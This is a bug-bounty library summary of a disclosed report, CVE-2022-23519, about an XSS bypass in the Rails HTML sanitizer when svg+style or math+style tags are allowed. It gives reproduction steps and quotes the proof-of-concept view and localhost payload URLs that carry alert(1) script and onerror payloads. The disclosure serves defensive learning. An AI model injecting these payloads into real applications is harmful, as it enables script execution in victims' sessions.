# CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)

Rails SafeListSanitizer fails to strip script/event handlers when both svg+style or math+style tags are allowlisted, enabling reflected XSS.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by: 0b5cur17y
- Disclosed: 2023-01-04
- CVE: CVE-2022-23519
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1805899
- Library page: https://bugbountylibrary.com/r/h1%3A1805899
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:ruby technique:fuzzing technique:parser-differential vuln:xss

**Target:** Rails::Html::SafeListSanitizer (rails-html-sanitizer gem)
**Root cause:** The sanitizer's allowlist logic permits dangerous content inside <style> nested in <svg>/<math> foreign-content elements, so script tags and onerror handlers survive sanitization when those tag pairs are allowed.
**Steps:**
1. Install rails-html-sanitizer 1.4.3 and run `Rails::Html::SafeListSanitizer.new.sanitize("<svg><style><script>alert(1)</script></style></svg>", tags: ["svg","style"])`
2. Observe output is unchanged, retaining the script tag
3. Alternatively sanitize `<math><style><img src=x onerror=alert(1)></style></math>` with tags `["math","style"]`
4. Render sanitized output in a Rails view via `sanitize @name, tags: ["svg","style"]` and load `/poc1?name=<svg><style><script>alert(1)</script></style></svg>`
5. Alert executes in browser context
**How found:** Prior report 1530898 showed select+style was vulnerable; the researcher hypothesized other foreign-content elements combined with style could bypass the sanitizer and fuzz-tested tag combinations, confirming svg+style and math+style.
**Exploitation:** Attacker supplies a reflected parameter that the app sanitizes with an allowlist including svg+style or math+style; the payload survives sanitization and executes JS in the victim's session when the page renders.
**Insight:** When auditing HTML sanitizers, test allowlist combinations involving foreign-content roots (svg, math) plus style/script-capable children—parsers treat their contents as raw text, so nested script/event handlers escape filtering.

## Proof of concept (copied exactly from the original report)

**Vulnerable ERB view with sanitize tags**

```
<h1> Hello <%= sanitize @name, tags: ["svg", "style"] %> </h1>
<br>
PoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.
<br>
<%= link_to "Go to PoC", "/poc1?name=<svg><style><script>alert(1)</script></style><svg>" %>
<br>
<br>
Using: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>
```

**PoC payload URLs for both tag combos**

```
- [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E)
- [http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E](http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E)
```

